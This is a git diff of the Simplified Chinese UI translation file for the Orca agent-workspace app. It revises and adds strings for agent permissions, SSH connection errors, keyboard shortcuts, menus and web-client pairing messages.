-      "permissionsMixed": "大多数智能体使用 {{mode}}。选择模式会重置标记的例外，但保留自定义参数。",
+      "customArgsTooltip": "使用自己的启动参数",
+      "permissionsMixedNoMajority": "各代理使用不同的设置，选择一种模式将应用于全部",
+      "permissionsMixed": "大多数代理使用的是{{mode}}，选择一种模式会重置已标记的例外，自定义参数除外",
       "permissionsSearchDescription": "选择“替我批准”、“完全访问”或各智能体自己的权限设置。",
-      "permissionMixed": "混合",
       "editRowPermissions": "{{agent}} 权限：{{mode}}",
-      "expandAgentSettings": "展开智能体设置",
-      "collapseAgentSettings": "折叠智能体设置",
-      "permissionArgsTerminalOnly": "这些参数可能控制 {{agent}} 的终端权限，因此 Orca 不添加任何标志。聊天使用上方的权限选择。",
-      "localSaveFailed": "无法保存智能体设置。请重试。",
-      "localSaveFailedAgent": "无法保存 {{agent}} 设置。请重试。",
-      "permissionFromArgs": "{{agent}} 在终端和新聊天中已设为 {{mode}}。",
-      "permissionFromArgsTerminals": "{{agent}} 在终端中已设为 {{mode}}。",
+      "expandAgentSettings": "展开代理设置",
+      "collapseAgentSettings": "折叠代理设置",
+      "permissionArgsTerminalOnly": "这些参数可能控制 {{agent}} 的终端权限，因此 Orca 不添加任何标志。聊天使用上方的权限选择",
+      "localSaveFailed": "无法保存智能体设置。请重试",
+      "localSaveFailedAgent": "无法保存 {{agent}} 设置。请重试",
+      "permissionFromArgs": "{{agent}} 在终端和新聊天中已设为 {{mode}}",
+      "permissionFromArgsTerminals": "{{agent}} 在终端中已设为 {{mode}}",
       "permissionOwnAgent": "使用 {{agent}} 自己的设置",
       "permissionOwnAll": "各智能体自己的设置",
-      "permissionOwnLegacyDescription": "Orca 不在终端中添加权限标志；聊天使用设置 → 聊天。",
-      "permissionOwnDescription": "终端和聊天遵循智能体自己的权限设置。",
+      "permissionOwnLegacyDescription": "Orca 不在终端中添加权限标志；聊天使用设置 → 聊天",
+      "permissionOwnDescription": "终端和聊天遵循智能体自己的权限设置",
       "permissionOwnShort": "自己的设置",
       "permissionWithoutAuto": "未使用“替我批准”的智能体",
-      "permissionSurfaceDifference": "终端使用智能体自己的设置；新聊天使用 {{mode}}。",
+      "permissionSurfaceDifference": "终端使用智能体自己的设置；新聊天使用 {{mode}}",
       "permissionSameAsAll": "与所有智能体相同",
       "permissionChipRemove": "移除 {{flag}} 并使用 {{agent}} 自己的设置",
-      "permissionChipTooltip": "由权限设置添加。移除后使用 {{agent}} 自己的设置。",
+      "permissionChipTooltip": "由权限设置添加。移除后使用 {{agent}} 自己的设置",
       "permissionOverridesKept_one": "{{count}} 个智能体仍在使用自己的权限设置：",
       "permissionOverridesKept_other": "{{count}} 个智能体仍在使用自己的权限设置：",
       "permissionOverridesFollow_one": "{{count}} 个智能体现已遵循 {{mode}}",
@@ -382,13 +396,13 @@
       "permissionOverridesUse": "使用 {{mode}}",
       "customPermissions": "自定义参数",
       "rowPermissionsLabel": "{{agent}} 权限",
-      "replaceWithPermissionMode": "替换为 {{mode}}",
+      "replaceWithPermissionMode": "替换为{{mode}}",
       "approveForMe": "代我批准",
       "codexHistorySharing": {
         "title": "在账户之间共享 Codex 历史记录",
-        "description": "让每个 Codex 账户以及你自己的 ~/.codex 都能继续在其他账户中开始的对话。关闭后，每个账户的历史记录将保持独立。关闭不会移除任何已共享的内容。",
-        "unsupported": "请更新 {{host}} 上的 Orca 以在那里更改此设置。",
-        "updateFailed": "无法更新 {{host}} 上的设置。"
+        "description": "让每个 Codex 账户以及你自己的 ~/.codex 都能继续在其他账户中开始的对话。关闭后，每个账户的历史记录将保持独立。关闭不会移除任何已共享的内容",
+        "unsupported": "请更新 {{host}} 上的 Orca 以在那里更改此设置",
+        "updateFailed": "无法更新 {{host}} 上的设置"
       },
       "installCliForTerminal": "安装 {{value0}} CLI 即可在终端中打开。",
       "chatRuntime": "聊天运行时",
@@ -409,8 +423,10 @@
       "defaultSurfaceSetAllChat": "全部设为聊天",
       "defaultSurfaceSetAllTerminal": "全部设为终端",
       "sameAsChoice": "与 {{agent}} 相同 · {{choice}}",
+      "modelListFallback": "内置列表。Orca 无法从此主机获取模型列表。",
       "chatUnavailableOnWindows": "{{value0}} Chat 暂不支持 Windows，因此 {{value0}} 会在此主机的终端中打开。macOS 或 Linux 主机上的聊天仍可正常使用。",
-      "undetectedCommandHint": "如果 {{agent}} CLI 安装在 PATH 之外，请输入其在此主机上的可执行文件完整路径。"
+      "undetectedCommandHint": "如果 {{agent}} CLI 安装在 PATH 之外，请输入其在此主机上的可执行文件完整路径。",
+      "permissionMixed": "混合"
     },
     "followSymlinkedDirectoriesKeywords": {
       "symlink": "符号链接",
@@ -419,9 +435,9 @@
       "fileExplorer": "文件资源管理器"
     },
     "followSymlinkedDirectories": "跟随符号链接目录",
-    "followSymlinkedDirectoriesDescription": "在快速打开中搜索链接文件夹，并在文件资源管理器中展开本地链接文件夹。",
+    "followSymlinkedDirectoriesDescription": "在快速打开中搜索链接文件夹，并在文件资源管理器中展开本地链接文件夹",
     "accounts": {
-      "claudeRemoveFolder": "Orca 会从此计算机删除此账户的 Claude 文件夹及其登录信息。与系统默认共享的聊天记录会保留。如果此账户被选中，您下次启动的 Claude 将使用系统默认。"
+      "claudeRemoveFolder": "Orca 会从此计算机删除此账户的 Claude 文件夹及其登录信息，与系统默认共享的聊天记录会保留，如果此账户被选中，您下次启动的 Claude 将使用系统默认"
     },
     "sourceControl": {
       "gitOperationInAnotherWorkspace": "其他工作区正在运行 Git 操作",
@@ -437,7 +453,7 @@
         "terminalsOnly": "仅适用于终端",
         "extraArgs": "额外 CLI 参数",
         "launchOptions": "模型和权限",
-        "savedLaunchOptions": "已保存的选项：{{value0}}。旧版服务器使用其自身的权限设置。"
+        "savedLaunchOptions": "已保存的选项：{{value0}}。旧版服务器使用其自身的权限设置"
       },
       "actionPermissions": {
         "sameAsAgent": "与 {{agent}} 相同"
@@ -445,18 +461,31 @@
     },
     "ssh": {
       "status": {
-        "disconnected": "已断开",
+        "disconnected": "已断开连接",
         "connecting": "正在连接…",
         "auth-failed": "验证失败",
         "connected": "已连接",
         "reconnection-failed": "重新连接失败",
         "deploying-relay": "正在部署中继…",
         "reconnecting": "正在重新连接…"
+      },
+      "errors": {
+        "authMethodsFailed": "所有已配置的身份验证方法均失败",
+        "badPassphrase": "无法解析私钥：OpenSSH 密钥完整性检查失败——口令不正确？",
+        "connectionRefused": "连接被拒绝",
+        "connectionTimedOut": "连接超时",
+        "handshakeLost": "握手完成前连接已断开",
+        "handshakeTimeout": "等待握手超时",
+        "hostKeyVerificationFailed": "主机密钥验证失败",
+        "hostNotFound": "找不到主机",
+        "passphraseRequired": "无法解析私钥：检测到加密的 OpenSSH 私钥，但未提供口令",
+        "permissionDenied": "权限被拒绝",
+        "permissionDeniedPublickey": "权限被拒绝 (publickey)"
       }
     },
     "mcp": {
       "workspace": "工作区",
-      "inspectFailed": "无法检查 {{directory}}。",
+      "inspectFailed": "无法检查 {{directory}}",
       "unreadable": "无法读取",
       "notFound": "未找到",
       "invalidJson": "无效的 JSON",
@@ -469,33 +498,63 @@
       "claudeWorkspace": "Claude 工作区"
     },
     "shortcuts": {
-      "parseFailed": "无法解析快捷键。",
+      "parseFailed": "无法解析快捷键",
       "validation": {
-        "invalidFormat": "请使用 Ctrl+Shift+P 或 Cmd+K 这样的快捷键。",
-        "mixedModifiers": "请使用 Mod 或平台专用修饰键，不要同时使用两者。",
-        "modifierRequired": "请至少包含一个修饰键。",
-        "digitKeyRequired": "请选择 1–9 数字键并搭配修饰键，例如 Cmd+1 或 Ctrl+1。",
-        "modifierOnly": "请按下普通按键，而不只是修饰键。",
-        "invalidBindingValue": "请使用字符串、字符串数组、null 或 false。",
-        "stringArrayRequired": "请使用字符串数组。",
-        "fileNotObject": "键绑定文件必须包含 JSON 对象。"
+        "invalidFormat": "请使用 Ctrl+Shift+P 或 Cmd+K 这样的快捷键",
+        "mixedModifiers": "请使用 Mod 或平台专用修饰键，不要同时使用两者",
+        "modifierRequired": "请至少包含一个修饰键",
+        "digitKeyRequired": "请选择 1–9 数字键并搭配修饰键，例如 Cmd+1 或 Ctrl+1",
+        "modifierOnly": "请按下普通按键，而不只是修饰键",
+        "invalidBindingValue": "请使用字符串、字符串数组、null 或 false",
+        "stringArrayRequired": "请使用字符串数组",
+        "fileNotObject": "键绑定文件必须包含 JSON 对象",
+        "digitIndex": "请使用带修饰键的数字键 1–9，例如 Cmd+1 或 Ctrl+1",
+        "exampleChord": "请使用类似 Ctrl+Shift+P 或 Cmd+K 的快捷键",
+        "modOrPlatform": "请使用 Mod 或平台修饰键，不要同时使用两者",
+        "needModifier": "请至少包含一个修饰键",
+        "needNonModifier": "请按下按键，不要只按修饰键"
       },
       "diagnostics": {
-        "sectionNotObject": "{{section}} 必须是对象。",
-        "unknownAction": "未知的键绑定操作“{{actionId}}”已被忽略。",
+        "sectionNotObject": "{{section}} 必须是对象",
+        "unknownAction": "未知的键绑定操作“{{actionId}}”已被忽略",
         "shortcutIgnored": "“{{actionId}}”的快捷键已被忽略：{{reason}}",
-        "platformsNotObject": "platforms 必须是包含 darwin、linux 或 win32 部分的对象。",
-        "unknownPlatform": "未知平台“{{platform}}”已被忽略。",
-        "conflictingOverrides": "有冲突的自定义快捷键已被忽略：{{actions}}。",
+        "platformsNotObject": "platforms 必须是包含 darwin、linux 或 win32 部分的对象",
+        "unknownPlatform": "未知平台“{{platform}}”已被忽略",
+        "conflictingOverrides": "有冲突的自定义快捷键已被忽略：{{actions}}",
         "readFailed": "无法读取键绑定文件：{{reason}}"
+      },
+      "actions": {
+        "tab": {
+          "newAgentNamed": "新建 {{agent}} 标签页",
+          "newAgent": "新建代理标签页(默认代理)"
+        }
+      },
+      "filters": {
+        "all": "全部",
+        "modified": "已修改",
+        "conflicts": "冲突"
+      },
+      "conflict": "{{binding}} 与 {{titles}} 冲突",
+      "groups": {
+        "agents": "代理",
+        "browser": "浏览器",
+        "chat": "聊天",
+        "editors": "编辑器",
+        "fileExplorer": "文件资源管理器",
+        "global": "全局",
+        "quickCommands": "快捷命令",
+        "settings": "设置",
+        "tabNavigation": "标签页导航",
+        "tabs": "标签页",
+        "terminalPanes": "终端窗格"
       }
     },
     "network": {
       "proxyUrlErrors": {
-        "tooLong": "代理 URL 过长。",
-        "invalid": "请输入有效的代理 URL。",
-        "unsupportedProtocol": "请使用 http、https、socks、socks4 或 socks5 代理 URL。",
-        "missingHost": "代理 URL 必须包含主机。"
+        "tooLong": "代理 URL 过长",
+        "invalid": "请输入有效的代理 URL",
+        "unsupportedProtocol": "请使用 http、https、socks、socks4 或 socks5 代理 URL",
+        "missingHost": "代理 URL 必须包含主机"
       }
     },
     "diagnostics": {
@@ -517,8 +576,8 @@
     },
     "repository": {
       "iconPickErrors": {
-        "notPng": "仓库图标必须是 PNG 文件。",
-        "tooLarge": "仓库图标图片不得超过 256 KB。"
+        "notPng": "仓库图标必须是 PNG 文件",
+        "tooLarge": "仓库图标图片不得超过 256 KB"
       }
     },
     "editorFormatOnSave": {
@@ -549,7 +608,7 @@
     "settings": "设置",
     "exploreOrca": "探索 Orca",
     "gettingStarted": "Orca 入门",
-    "reportCrash": "发送崩溃报告...",
+    "reportCrash": "报告崩溃...",
     "file": "文件",
     "exit": "退出",
     "quitApp": "退出 {{appName}}",
@@ -560,13 +619,13 @@
     "showStatusBar": "显示状态栏",
     "showTasksButton": "显示任务按钮",
     "showAutomationsButton": "显示自动化按钮",
-    "showMobileButton": "显示 Orca 手机端按钮",
+    "showMobileButton": "显示 Orca Mobile 按钮",
     "showTitlebarAppName": "显示标题栏应用名称",
     "view": "查看",
     "reload": "重新加载",
     "forceReload": "强制重新加载",
     "toggleDevTools": "切换开发者工具",
-    "resetSize": "重置缩放",
+    "resetSize": "重置尺寸",
     "zoomIn": "放大",
     "zoomOut": "缩小",
     "openWorktreePalette": "打开工作树面板",
@@ -576,7 +635,18 @@
     "copy": "复制",
     "selectAll": "全选",
     "quitAndStopAllSessions": "完全退出...",
-    "quitAndStopAllSessionsTooltip": "同时停止所有终端会话，包括正在运行的智能体。普通退出会保留这些会话，以便 Orca 下次启动时重新连接。"
+    "quitAndStopAllSessionsTooltip": "同时停止所有终端会话，包括正在运行的智能体。普通退出会保留这些会话，以便 Orca 下次启动时重新连接",
+    "about": "关于 Orca",
+    "cut": "剪切",
+    "hide": "隐藏 Orca",
+    "hideOthers": "隐藏其他",
+    "minimize": "最小化",
+    "redo": "重做",
+    "services": "服务",
+    "toggleFullScreen": "切换全屏",
+    "undo": "撤销",
+    "unhide": "全部显示",
+    "zoom": "缩放"
   },
   "tray": {
     "openOrca": "打开 Orca",
@@ -585,7 +655,7 @@
       "body": "Orca 仍在系统托盘中运行"
     },
     "activityWaiting": "Orca - 活动等待中",
-    "activityWaitingSuffix": "等待活动"
+    "activityWaitingSuffix": "有待处理活动"
   },
   "worktreeJumpPalette": {
     "matchLabel": {
@@ -598,11 +668,11 @@
       "automationItem": "自动化"
     },
     "filter": {
-      "emptyTitle": "没有结果符合当前筛选条件",
-      "emptySubtitle": "清除上方筛选条件，或扩大到更多主机和项目。",
+      "emptyTitle": "没有结果匹配当前筛选",
+      "emptySubtitle": "清除上方筛选，或扩大到更多主机和项目",
       "tabKey": "Tab",
       "label": "筛选",
-      "activeCount": "{{value0}} 个生效",
+      "activeCount": "{{value0}} 个活跃",
       "removeChip": "移除筛选 {{value0}}",
       "clearAll": "全部清除",
       "hosts": "主机",
@@ -612,13 +682,13 @@
       "searchProjects": "筛选项目...",
       "noHosts": "没有匹配的主机",
       "noProjects": "没有匹配的项目",
-      "selectAllMatching": "选择所有匹配项 ({{value0}})",
-      "selectedCollapsed": "已选择 {{value0}} 个 — 通过标签或清除移除",
+      "selectAllMatching": "全选匹配项 ({{value0}})",
+      "selectedCollapsed": "{{value0}} 已选 — 可通过芯片或清除移除",
       "clearHosts": "清除主机",
       "clearProjects": "清除项目",
       "back": "返回",
       "scopedTo": "范围：",
-      "ariaActiveCount_other": "筛选：已启用 {{count}} 个。"
+      "ariaActiveCount_other": "筛选：已启用 {{count}} 个"
     },
     "linearIssue": {
       "createLabel": "从 Linear 议题 {{value0}} 创建工作树：{{value1}}",
@@ -627,7 +697,7 @@
       "createHint": "从 Linear 议题创建工作树",
       "loadingHint": "正在加载 Linear 议题..."
     },
-    "renderCapOverflow": "{{value0}} 更多",
+    "renderCapOverflow": "还有 {{value0}} 项 — 滚动或继续输入以缩小范围",
     "seeMore": "查看更多",
     "taskUrl": {
       "loadingHint": "正在加载 {{value0}}...",
@@ -638,38 +708,38 @@
     "taskSearchLoading": "正在搜索任务…",
     "taskSearchFailed": "部分任务源无法搜索",
     "taskSearchRetry": "重试",
-    "goToWebsite": "转到 {{value0}}",
+    "goToWebsite": "前往 {{value0}}",
     "websiteBadge": "网站",
-    "openWebsiteInNewTab": "在新的浏览器选项卡中打开"
+    "openWebsiteInNewTab": "在新浏览器标签页中打开"
   },
   "auto": {
     "App": {
-      "221a95ba38": "重试入门引导，或关闭后继续使用应用。",
-      "f02d37278a": "入门引导遇到错误。",
-      "acd66311dc": "如果您仍需要诊断，请在重试后使用“帮助”菜单。",
-      "722d03aa62": "崩溃报告对话框出现错误。",
-      "8a023cea1f": "重试状态栏以重新挂载其控件。",
-      "2e8ff36f94": "状态栏出现错误。",
-      "7cbfbf622f": "重试浮动工作区或关闭并重新打开它。",
-      "1b3024bcd6": "浮动工作区遇到错误。",
-      "8d1e160ed1": "重试侧边栏或切换标签页以重新加载此面板。",
-      "ed6b168d00": "右侧边栏出现错误。",
-      "03a14f6b5b": "重试此页面，或导航到其他 Orca 界面。",
-      "b7a714db1e": "此页面出现错误。",
-      "98d4ea2823": "此工作区中的终端、浏览器或编辑器渲染失败。请重试以重新挂载。",
-      "5a9519aef0": "工作区工作台遇到错误。",
-      "cba0fafda5": "活动页面保持打开状态。重试列表或切换视图。",
-      "1468601e7b": "工作区列表出现错误。",
-      "bdc71dddc9": "活动工作区保持打开状态。重试列表或切换视图。",
+      "221a95ba38": "重试入门引导，或关闭后继续使用应用",
+      "f02d37278a": "入门引导遇到错误",
+      "acd66311dc": "如果您仍需要诊断，请在重试后使用\"帮助\"菜单",
+      "722d03aa62": "崩溃报告对话框出现错误",
+      "8a023cea1f": "重试状态栏以重新挂载其控件",
+      "2e8ff36f94": "状态栏出现错误",
+      "7cbfbf622f": "重试浮动工作区或关闭并重新打开它",
+      "1b3024bcd6": "浮动工作区遇到错误",
+      "8d1e160ed1": "重试侧边栏或切换标签页以重新加载此面板",
+      "ed6b168d00": "右侧边栏出现错误",
+      "03a14f6b5b": "重试此页面，或导航到其他 Orca 界面",
+      "b7a714db1e": "此页面出现错误",
+      "98d4ea2823": "此工作区中的终端、浏览器或编辑器渲染失败，请重试以重新挂载",
+      "5a9519aef0": "工作区工作台遇到错误",
+      "cba0fafda5": "活动页面保持打开状态，重试列表或切换视图",
+      "1468601e7b": "工作区列表出现错误",
+      "bdc71dddc9": "活动工作区保持打开状态，重试列表或切换视图",
       "c1cf0b0e4a": "折叠窗格",
-      "8504ddf267": "应用仍在运行。请重试工作区界面，或通过菜单报告崩溃详情。",
-      "df1d56bf87": "工作区界面遇到错误。",
+      "8504ddf267": "应用仍在运行，请重试工作区界面，或通过菜单报告崩溃详情",
+      "df1d56bf87": "工作区界面遇到错误",
       "9e0b441a91": "切换右侧边栏",
       "e81217c1b7": "隐藏应用名称",
       "5096cbbc86": "Orca",
       "8b0b8eb54f": "应用菜单",
       "caea5b51b9": "立即重启",
-      "0a9e810705": "重新启动之前不会保存更改。您以前的选项卡在磁盘上是安全的。",
+      "0a9e810705": "重新启动之前不会保存更改，您以前的选项卡在磁盘上是安全的",
       "12e77cf12b": "会话恢复失败",
       "e960d18540": "关闭",
       "c9d6f98459": "最大化",
@@ -682,7 +752,7 @@
       "064bd07810": "返回",
       "ce37cf5279": "切换侧边栏 ({{value0}})",
       "e4b9e7dff7": "切换侧边栏",
-      "pluginCommandFailed": "无法运行插件命令。"
+      "pluginCommandFailed": "无法运行插件命令"
     },
     "web": {
       "WebConnect": {
@@ -692,33 +762,33 @@
         "27393856e4": "orca://pair?code=...",
         "7a566540de": "配对 URL 或代码",
         "cb4d287238": "服务器名称",
-        "3affe7de3a": "粘贴来自该浏览器可以访问的 Orca 服务器的配对 URL。",
+        "3affe7de3a": "粘贴来自该浏览器可以访问的 Orca 服务器的配对 URL",
         "e3bcd082ac": "连接到 Orca",
-        "mobileScopeRejected": "此二维码仅授予受限（移动端）访问权限。若要使用完整 Web 应用，请从设置 → 远程 Orca 服务器 → 分享此 Orca 服务器 → 新链接打开浏览器访问链接。",
+        "mobileScopeRejected": "此二维码仅授予受限(移动端)访问权限，若要使用完整 Web 应用，请从设置 → 远程 Orca 服务器 → 分享此 Orca 服务器 → 新链接打开浏览器访问链接",
         "replaceSavedServer": "此链接会连接到与“{{name}}”({{endpoint}}) 不同的服务器。只有在你信任下方端点时才连接。",
         "keepSavedServer": "保留已保存的服务器"
       },
       "webPreloadApi": {
-        "aiVaultUnavailableForHost": "此执行主机不支持智能体会话历史。",
-        "runtimeEnvironmentManuallyDisconnected": "运行时环境已手动断开连接。",
-        "loopbackPairingBlocked": "此访问链接会指回此设备。",
-        "remotePairingUnreachable": "无法连接 {{endpoint}} 上的 Orca。",
-        "remotePairingInvalidDetails": "此访问链接包含无效的连接信息。",
-        "remotePairingSaveFailed": "Orca 验证了主机但无法保存它。检查浏览器存储并重试。",
-        "remotePairingRepairUnavailable": "浏览器中无法重新配对。再次将此浏览器与服务器配对。"
+        "aiVaultUnavailableForHost": "此执行主机不支持代理会话历史记录",
+        "runtimeEnvironmentManuallyDisconnected": "运行时环境已手动断开连接",
+        "loopbackPairingBlocked": "此访问链接会指回此设备",
+        "remotePairingUnreachable": "无法连接 {{endpoint}} 上的 Orca",
+        "remotePairingInvalidDetails": "此访问链接包含无效的连接信息",
+        "remotePairingSaveFailed": "Orca 已验证主机但无法保存，请检查浏览器存储后重试",
+        "remotePairingRepairUnavailable": "浏览器中无法重新配对。请再次将此浏览器与服务器配对。"
       },
       "web": {
         "preload": {
           "api": {
-            "31bfe8ae1a": "在网络客户端中不可用。",
-            "67ec964791": "Web 客户端不支持 Cookie 导入。",
-            "275a776357": "悬停提取在 Web 客户端中不可用。",
-            "8dfcb7a351": "选择屏幕截图在 Web 客户端中不可用。",
-            "31bea294d5": "抓取模式在 Web 客户端中不可用。",
-            "b8a1618172": "PR详细信息生成在 Web 客户端中不可用。",
-            "e57c82d276": "Commit 消息模型发现在 Web 客户端中不可用。",
-            "9fc90740b6": "Commit 消息生成在 Web 客户端中不可用。",
-            "fb290366b2": "无法在网络上使用。"
+            "31bfe8ae1a": "在网络客户端中不可用",
+            "67ec964791": "Web 客户端不支持 Cookie 导入",
+            "275a776357": "悬停提取在 Web 客户端中不可用",
+            "8dfcb7a351": "选择屏幕截图在 Web 客户端中不可用",
+            "31bea294d5": "抓取模式在 Web 客户端中不可用",
+            "b8a1618172": "PR 详细信息生成在 Web 客户端中不可用",
+            "e57c82d276": "Web 客户端无法发现提交信息模型",
+            "9fc90740b6": "Web 客户端无法生成提交信息",
+            "fb290366b2": "无法在网络上使用"
           }
         },
         "runtime": {
@@ -729,13 +799,13 @@
       },
       "pairingSecurity": {
         "hide": "隐藏",
-        "storedCodeNoEd25519": "此浏览器会保存一个可重复使用的配对码，因为它无法创建安全的登录密钥（Ed25519）。请使用最新版浏览器并重新配对，以获得更安全的配对。",
-        "sessionNoEd25519": "此配对仅在此标签页打开期间有效，因为此浏览器无法创建安全的登录密钥（Ed25519）。请使用最新版浏览器以获得此浏览器能记住的配对。"
+        "storedCodeNoEd25519": "此浏览器会保存一个可重复使用的配对码，因为它无法创建安全的登录密钥（Ed25519），请使用最新版浏览器并重新配对，以获得更安全的配对",
+        "sessionNoEd25519": "此配对仅在此标签页打开期间有效，因为此浏览器无法创建安全的登录密钥（Ed25519），请使用最新版浏览器以获得此浏览器能记住的配对"
       },
       "runtimeAuth": {
-        "insecureOrigin": "Orca 拒绝从此页面配对：它是另一台机器上的纯 http 页面，因此网络路径上的任何人都可以替换它并取走配对码。请通过 https、本机的 localhost 或 SSH 隧道打开 Web 客户端。如需仍然允许，服务器操作员可以使用 ORCA_ALLOW_INSECURE_WEB_PAIRING=1 重新启动 Orca。",
-        "deviceDowngraded": "此 Orca 服务器不再支持此浏览器的登录密钥（可能已被降级）。请更新服务器，或重新配对此浏览器。",
-        "unauthorized": "未授权。请重新配对此 Web 客户端。",
+        "insecureOrigin": "Orca 拒绝从此页面配对：它是另一台机器上的纯 http 页面，因此网络路径上的任何人都可以替换它并取走配对码，请通过 https、本机的 localhost 或 SSH 隧道打开 Web 客户端，如需仍然允许，服务器操作员可以使用 ORCA_ALLOW_INSECURE_WEB_PAIRING=1 重新启动 Orca",
+        "deviceDowngraded": "此 Orca 服务器不再支持此浏览器的登录密钥（可能已被降级），请更新服务器，或重新配对此浏览器",
+        "unauthorized": "未授权，请重新配对此 Web 客户端",
         "unauthorizedLinkUsedOrExpired": "未授权。此配对链接可能已过期或已被使用。请在 Orca 中创建新的配对链接并打开。"
       }
     },
@@ -744,21 +814,24 @@
         "browser": {
           "d175274b6d": "新浏览器选项卡",
           "08fc23631d": "浏览器",
-          "remoteCookieImportUnavailable": "远程运行时激活期间无法手动导入 Cookie 文件。"
+          "remoteCookieImportUnavailable": "远程运行时激活期间无法手动导入 Cookie 文件"
         },
         "editor": {
-          "dcb521ed29": "该文件处于冲突状态，但没有可编辑的工作树文件。",
-          "conflictPlaceholderGuidance": "请在 Git 中解决冲突，或恢复其中一侧后再重新打开。",
+          "dcb521ed29": "该文件处于冲突状态，但没有可编辑的工作树文件",
+          "conflictPlaceholderGuidance": "在 Git 中解决冲突或恢复某一侧内容后再重新打开",
           "51f15c37d3": "无法打开目录：{{value0}}",
           "f2e00db373": "未找到文件：{{value0}}",
-          "checkRunDetailsUnavailable": "此检查没有可用的详细信息。",
-          "checkRunDetailsLoadFailed": "加载检查详细信息失败。",
-          "checkRunDetailsRepoUnavailable": "此检查无法获得仓库详细信息。"
+          "checkRunDetailsUnavailable": "此检查没有可用的详细信息",
+          "checkRunDetailsLoadFailed": "加载检查详细信息失败",
+          "checkRunDetailsRepoUnavailable": "此检查无法获得存储库详细信息",
+          "gitOperationTarget": {
+            "unresolvedHost": "工作区主机尚未解析，请刷新工作区后重试"
+          }
         },
         "github": {
-          "f129c42773": "GitHub 没有回复新评论。",
-          "683a21264b": "行没有所有者/仓库/编号。",
-          "83f9b126ad": "议题类型只能在议题上设置。",
+          "f129c42773": "GitHub 没有回复新评论",
+          "683a21264b": "行没有所有者/仓库/编号",
+          "83f9b126ad": "议题类型只能在议题上设置",
           "f963485d37": "未找到行",
           "a967f23983": "项目视图未加载",
           "87020f6605": "行没有所有者/仓库/编号 - 无法修补底层项目",
@@ -766,7 +839,7 @@
         },
         "sparse": {
           "presets": {
-            "ef13e994e6": "保存之前必须加载预设。",
+            "ef13e994e6": "保存之前必须加载预设",
             "6ed7d6010a": "删除预设失败",
             "ee434d7941": "预设已删除",
             "c96b770172": "保存预设失败",
@@ -784,61 +857,61 @@
         },
         "workspace": {
           "cleanup": {
-            "9d6e531da6": "工作区不再存在。",
-            "changedSinceConfirmation": "工作区在确认后发生了更改。请刷新并在删除前重新检查。",
-            "gitStatusUnavailable": "Orca 无法检查此工作区的 Git 状态。请重试，或从对应主机的侧边栏或项目列表中将其删除。",
-            "gitStatusUnavailableOlderPeer": "Orca 无法将此 Git 状态检查失败与主机匹配。请更新较旧的已连接端，或从对应主机的侧边栏或项目列表中删除该工作区。",
-            "forceNeedsApproval": "请先检查并确认此工作区，然后再强制删除。",
-            "agentStartedSinceConfirmation": "此工作区中有一个智能体正在运行。请再次删除以确认停止该智能体。",
-            "hostCollision": "错误：此工作区存在于同一路径的多个主机上",
-            "hostUnresolved": "Orca 无法判断哪个主机拥有此工作区。刷新项目并再次查看。"
+            "9d6e531da6": "工作区不再存在",
+            "changedSinceConfirmation": "工作区在确认后发生了更改，请刷新并在删除前重新检查",
+            "gitStatusUnavailable": "Orca 无法检查此工作区的 Git 状态，请重试，或从对应主机的侧边栏或项目列表中将其删除",
+            "gitStatusUnavailableOlderPeer": "Orca 无法将此 Git 状态检查失败与主机匹配，请更新较旧的已连接端，或从对应主机的侧边栏或项目列表中删除该工作区",
+            "forceNeedsApproval": "请先检查并确认此工作区，然后再强制删除",
+            "agentStartedSinceConfirmation": "此工作区中有一个代理正在运行，请再次删除以确认停止该代理",
+            "hostCollision": "错误：此工作区在多个主机的相同路径下存在",
+            "hostUnresolved": "Orca 无法确定哪个主机拥有此工作区，请刷新项目并重新检查"
           }
         },
         "worktrees": {
           "e50495aae6": "强制删除分支",
           "14bc053a47": "本地 {{value0}} 未刷新",
-          "localBaseRefRefreshFailedForWorktree": "“{{value1}}”的本地 {{value0}} 未刷新",
-          "903b51c2ed": "从 {{value0}} 创建工作区，但 Orca 无法快进本地 {{value1}}。{{value2}}",
-          "localBaseRefRefreshFailedDescriptionNamed": "工作区“{{value0}}”从 {{value1}} 创建，但 Orca 无法快进本地 {{value2}}。{{value3}}",
-          "localBaseRefRefreshFailedDetailDirtyNamed": "{{value0}} 处的工作树（本地 {{value1}} 的检出位置）有未提交的更改。请提交、暂存或丢弃这些更改，然后手动更新本地 {{value1}}。",
-          "localBaseRefRefreshFailedDetailDirty": "检出本地 {{value0}} 的工作树有未提交的更改。请提交、暂存或丢弃这些更改，然后手动更新本地 {{value0}}。",
-          "localBaseRefRefreshFailedDetailNotFastForward": "本地 {{value0}} 不存在，或无法从远程基线干净快进。手动更新前请检查是否有仅存在于本地的提交。",
-          "localBaseRefRefreshFailedDetailError": "更新本地 {{value0}} 时 Git 返回错误。请检查仓库是否有锁定的 refs 或异常工作树状态，然后手动更新本地 {{value0}}。",
+          "localBaseRefRefreshFailedForWorktree": "\"{{value1}}\"的本地 {{value0}} 未刷新",
+          "903b51c2ed": "从 {{value0}} 创建工作区，但 Orca 无法快进本地 {{value1}}，{{value2}}",
+          "localBaseRefRefreshFailedDescriptionNamed": "工作区\"{{value0}}\"从 {{value1}} 创建，但 Orca 无法快进本地 {{value2}}，{{value3}}",
+          "localBaseRefRefreshFailedDetailDirtyNamed": "{{value0}} 处的工作树（本地 {{value1}} 的检出位置）有未提交的更改。请提交、存入 stash 或丢弃这些更改，然后手动更新本地 {{value1}}。",
+          "localBaseRefRefreshFailedDetailDirty": "检出本地 {{value0}} 的工作树有未提交的更改。请提交、存入 stash 或丢弃这些更改，然后手动更新本地 {{value0}}。",
+          "localBaseRefRefreshFailedDetailNotFastForward": "本地 {{value0}} 不存在，或无法从远程基线干净快进，手动更新前请检查是否有仅存在于本地的提交",
+          "localBaseRefRefreshFailedDetailError": "更新本地 {{value0}} 时 Git 返回错误，请检查仓库是否有锁定的引用或异常工作树状态，然后手动更新本地 {{value0}}",
           "localBaseRefShallowHistoryTitle": "本地 {{value0}} 未更新：浅克隆",
           "localBaseRefShallowHistoryNamed": "“{{value0}}”由 {{value1}} 创建，不受影响。Orca 无法同时更新你的本地 {{value2}} 分支：此克隆只包含较近的历史，Git 无法确认本地 {{value2}} 只是落后。要为之后每个新工作区解决此问题，请运行一次：",
           "localBaseRefShallowHistory": "你的工作区由 {{value0}} 创建，不受影响。Orca 无法同时更新你的本地 {{value1}} 分支：此克隆只包含较近的历史，Git 无法确认本地 {{value1}} 只是落后。要为之后每个新工作区解决此问题，请运行一次：",
           "localBaseRefRefreshTurnOff": "禁用检查",
           "localBaseRefRefreshTurnOffHelp": "了解“禁用检查”的作用",
